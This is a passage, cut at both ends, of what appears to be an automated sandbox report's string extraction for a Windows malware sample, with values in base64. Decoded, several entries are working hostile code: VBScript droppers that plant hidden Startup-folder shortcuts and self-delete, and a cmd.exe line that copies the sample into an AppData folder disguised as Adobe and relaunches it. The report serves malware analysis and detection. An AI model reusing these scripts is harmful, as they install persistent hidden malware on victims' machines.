File","process":null,"filename":"startup1198516.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4OTEyNjM0LmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup2162145.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKVNldCBvYmpGU08gPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IilTZXQgbG5rID0gb2JqU2hlbGwuQ3JlYXRlU2hvcnRjdXQoIiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcM01SWUs4OTgwNDAyLmxuayIpbG5rLlRhcmdldFBhdGggPSAiY21kLmV4ZSJsbmsuQXJndW1lbnRzID0gIi9rIHN0YXJ0ICIiIiIgIiJDOlxVc2Vyc1wlVVNFUk5BTUUlXEFwcERhdGFcUm9hbWluZ1xBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiImZXhpdCYiIiJsbmsuV2luZG93U3R5bGUgPSAiNyJsbmsuU2F2ZW9iakZTTy5EZWxldGVGaWxlKFdzY3JpcHQuU2NyaXB0RnVsbE5hbWUp","type":"Ansi","source":"Dropped File","process":null,"filename":"startup7087234.vbs","compromised":null,"detection_total":null,"total":null},{"value":"U2V0IG9ialNoZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoXCJXU2NyaXB0LlNoZWxsXCIp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X0FyZ3VtZW50cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X0NyZWF0ZU5vV2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X0ZpbGVOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0X1VzZVNoZWxsRXhlY3V0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U2V0QXR0cmlidXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c2V0U2hvcnRCVEM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3BlY2lhbEZvbGRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"c3NsNTA5MDg0LmNsb3VkZmxhcmVzc2wuY29t","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"c3NsNTA5MDg0LmNsb3VkZmxhcmVzc2wuY29tMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"U3RhcnRzV2l0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U1RBVGhyZWFkQXR0cmlidXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RyZWFtV3JpdGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3RyaW5nRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3Vic3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkNvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkRpYWdub3N0aWNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLklP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLkxpbnE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLk5ldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJlZmxlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLlRocmVhZGluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"U3lzdGVtLldpbmRvd3MuRm9ybXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dGFza2tpbGwgIC9mIC9pbSBtc2NyLmV4ZQ==","type":"Ansi","source":"Process Commandline","process":null,"filename":"taskkill.exe","compromised":null,"detection_total":null,"total":null},{"value":"VGV4dFdyaXRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"dGltZW91dCAgL3QgMSAvbm9icmVhaw==","type":"Ansi","source":"Process Commandline","process":null,"filename":"timeout.exe","compromised":null,"detection_total":null,"total":null},{"value":"VG9DaGFyQXJyYXk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VHJhbnNsYXRpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VU5DQXNJbnRyYW5ldA==","type":"Unicode","source":"Runtime Data","process":"mscr.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dXFeJV1pNSB+","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"djIuMC41MDcyNw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"V19uZDB3c1Njcl9wdEgwXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"d19uZG9tc2NuXw==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"V2ViQ2xpZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"d2x3bHdsbmxkMDB3","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"d2x3bHdsd2x3fG5sZF9vbV9Kc2xjbm1IX18=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_7.png","compromised":null,"detection_total":null,"total":null},{"value":"V3JhcE5vbkV4Y2VwdGlvblRocm93cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null}],"interesting":[{"value":"IiJjbWQuZXhlIiAvayBAZWNoby4mZGVsICIlQVBQREFUQSVcTWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwXDNNUllLKi5sbmsiJmV4aXQm","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTA5NTMxNS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTE5ODUxNi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI0NDgxLnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI5NTAwMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTI5NTA2My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTM1MjI2OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTQ0NjY0Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTU4MTEwNy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTk2MzY2LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMTk5MDQ1Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjAzMTY5Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjE0NDIwOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjE2MjE0NS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjQzMTY3My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjc2ODc3LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjc4ODMxMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMjg3OTQ4OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzAxOTMwOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzA3NzEzMC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzE5NzY1OS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwMzMzMDAxNS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNDYwMTY5Mi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNDc3MDY2OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTM4Mjk2Ni52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTU4MTkwMS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNTYyOTg1LnZicyI=","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjU0NDE3My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjY4NzI1OS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNjc1MjQ4My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzAzNjY4Mi52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzA4NzIzNC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzE3MTE0My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzI4NDgxMy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzQxOTI3NC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzQzNDU2MS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzU5NzYyNC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzczMjY5MS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwNzk0NDM5OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODE5MjUyOS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODI0NTc5My52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwODc5MDE0Ny52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTA2OTA0OC52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTMyMTkzMy52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVURU1QJVxzdGFydHVwOTkzNjEzMS52YnMi","type":"Ansi","source":"Process Commandline","process":null,"filename":"wscript.exe","compromised":null,"detection_total":null,"total":null},{"value":"IkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkw","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"JGQ1N2ZhODc4LTYwMmYtNDEwYS04NDA4LTA2MzA4MzI1MzNiMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"JydXU2NyX3B0","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_13.png","compromised":null,"detection_total":null,"total":null},{"value":"Ki5sbmsiJmV4aXQm","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ki5sbmtcIiZleGl0Jg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Ki5wYXN0ZWJpbi5jb20=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L0NPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQSAyMA==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L2h0dHA6Ly9jcnQuY29tb2RvY2EuY29tL0NPTU9ET1JTQUFkZFRydXN0Q0EuY3J0MCU=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCAiJUFQUERBVEElXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFwzTVJZSyoubG5rIiZleGl0Jg==","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"$9b","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJmRlbCBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyICIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFwiJmVjaG8uPj4iJUFQUERBVEElXEFkb2JlXDNNUllLXHVwZGF0ZSA6KSImZWNoby4+PiIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFx1cGRhdGUgOikiJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZjb3B5ICJDOlw0ZjBjZjRjZGUzNGJjYTAwNDU2NzA0NzA5MjBlNmE2YjViOGFmY2EzNmExZTkzMjBmZWZjNWFiMTYxNDgyODNlLmV4ZSIgIiVBUFBEQVRBJVxBZG9iZVwzTVJZS1wgXG1zY3IuZXhlIiZ0aW1lb3V0IC90IDEgL25vYnJlYWs+bnVsJmRlbCAiQzpcNGYwY2Y0Y2RlMzRiY2EwMDQ1NjcwNDcwOTIwZTZhNmI1YjhhZmNhMzZhMWU5MzIwZmVmYzVhYjE2MTQ4MjgzZS5leGUiJnN0YXJ0ICIiICIlQVBQREFUQSVcQWRvYmVcM01SWUtcIFxtc2NyLmV4ZSImZXhpdCY=","type":"Ansi","source":"Process Commandline","process":null,"filename":"cmd.exe","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJm1rZGlyIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZzdGFydCAiIiAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"L2sgQGVjaG8uJnRhc2traWxsIC9mIC9pbSBtc2NyLmV4ZSZzdGFydCBcIlwiIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"M2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9BZGRUcnVzdEV4dGVybmFsQ0FSb290LmNybDA1","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"O2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQUNlcnRpZmljYXRpb25BdXRob3JpdHkuY3JsMHI=","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pjxhc3NlbWJseSB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjEiIG1hbmlmZXN0VmVyc2lvbj0iMS4wIj4gIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+ICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MiI+ICAgIDxzZWN1cml0eT4gICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSIvPiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4gICAgPC9zZWN1cml0eT4gIDwvdHJ1c3RJbmZvPjwvYXNzZW1ibHk+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"W0ooOVtaKk1new==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"network.pcap","compromised":null,"detection_total":null,"total":null},{"value":"XCBcbXNjci5leGUiJmV4aXQm","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcbXNjci5leGUiJnRpbWVvdXQgL3QgMSAvbm9icmVhaz5udWwmZGVsICI=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCBcdXBkYXRlIDopIiZ0YXNra2lsbCAvZiAvaW0gbXNjci5leGUmY29weSAi","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCImc3RhcnQgXCJcIiBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XCJcIiZleGl0JlwiXCJcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxcIiZlY2hvLj4+XCI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxtc2NyLmV4ZVwiJmV4aXQm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFxtc2NyLmV4ZVwiJnRpbWVvdXQgL3QgMSAvbm9icmVhaz5udWwmZGVsIFwi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFwgXFx1cGRhdGUgOilcIiZ0YXNra2lsbCAvZiAvaW0gbXNjci5leGUmY29weSBcIg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFx1cGRhdGUgOilcIiZlY2hvLj4+XCI=","type":"Ansi","source":"Memory/File 